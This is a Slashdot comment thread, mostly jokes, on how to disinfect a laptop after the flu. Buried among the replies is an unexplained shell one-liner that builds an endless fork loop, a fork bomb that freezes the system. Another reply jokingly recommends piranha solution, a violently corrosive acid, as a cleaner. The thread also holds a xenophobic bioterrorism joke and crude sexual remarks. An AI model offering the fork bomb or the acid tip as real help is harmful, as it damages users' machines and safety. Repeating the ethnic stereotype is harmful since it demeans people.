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What Is the Best Way To Disinfect Your Laptop?
akutz writes "I've had the flu since Tuesday afternoon. My wife picked me up from work with a temperature of 103.6 and it finally broke at 98.7 around 3am this morning. Yay. The problem is that I used my laptop during my periods of feverish deliriousness, contaminating my shiny 15" MacBook Pro with the icky influenza virus. I am asking my fellow Slashdotters if they have ever sought out a good way of disinfecting their lucky laptops after an illness. Do you use soap? A light acid bath? Just get the family dog to lick it until it looks clean?"
Then you won't have to worry about it.
for the crippling virus infecting their machines.
Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
Yes, you could be wrong.
"No, no, no. Don't tug on that. You never know what it might be attached to."
Sounds like you might have been exposed to hypochondria as well. You should go to a specialist and have that checked out right away.
Use a condom?
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I kid, I kid.
Bye bye karma
Just wait a day or two. The germs will die, you shouldn't get sick again since you just got done fighting it, and if your wife's going to get sick, I don't think the MacBook is going to be the reason why.
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It's the only way to be sure.
Updating your virus definitions?
You really don't want to give your nasties to anyone, so I would recommend this: http://en.wikipedia.org/wiki/Piranha_solution
I am a geek attorney, but not your geek attorney unless you've already retained me. This is not legal advice.
I'd think twice about doing this. You will end up killing 99% of the bugs, but the 1% that survive will be sunlight resistant! You'll kill us all!
Tsunami -- You can't bring a good wave down!
I heard that's fairly immune to virus's.
Just sell it on eBay. Problem solved.
But, for a short time, that infected laptop gives 'p2p sharing' a whole new meaning.
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Install an Antivirus...
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This is Slashdot. I think you need to go into more explanation about this whole sunlight thing.
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Great, now you tell me!
in conjunction with a good blow job and
Yes, a good blow job is a great way to improve almost any situation.
Procrastination Man strikes again!
The problem is that I used my laptop during my periods of feverish deliriousness, contaminating my shiny 15" MacBook Pro with the icky influenza virus. I am asking my fellow Slashdotters if they have ever sought out a good way of disinfecting their lucky laptops after an illness
Don't worry about it. There isn't a virus yet that can make the leap from biological to technological infection. Your laptop is perfectly safe.
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Nuke it from orbit. It's the only way to be sure...
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A good ol' alcohol wipe will do the trick! You know, like the alcohol prep pads doctors use to disinfect your skin before sticking you with a needle. We use them all of the time at work to disinfect our cameras after daily use.
Disinfect your cameras after daily use? Do I wanna know?
Unfortunately, this does not work on illegal aliens, spammers, trolls, and people who listen to Amy Winehouse.
Honestly, this is the best suggestion. Your body JUST fought off the infection, which involved destroying billions of individual pathogens. Your helper T cells have the pathogen stored in thier memory so that if the pathogen is detected again, the proper antibody will be deployed and the pathogen will be distroyed.
Congratulations! You are IMMUNE to that particular pathogen.
I would recommend you Lysol your cubemates and tell them to keep thier grubby hands to themselves!
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Agreed. The virus isn't a concern, he's immune to it anyway, and I suspect his family is well exposed. Soap and water to wipe off any obvious snot globs.
there are some spore based viruses and even, organisms that are virtually impossible to destroy.
Hello, my name is Muhammad. I am a student in the tribal areas of Pakistan, majoring in Shariah Law and Biological Warfare. Could you please mail me some samples of the spore based viruses? My boss has asked to give a presentation on them in New York.
I will tell my boss to mail US$1million to you in used notes if you can help me. We will pack it in a lead box to make sure that it is not confiscated by customs.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I dunno, there's something about this ask slashdot that doesn't quite ring true.
He's the kind of guy that:
and yet... he has a wife?
Unfortunately, this does not work on illegal aliens, spammers, trolls, and people who listen to Amy Winehouse.
You're just not using enough UV.
Yes, you probably do.
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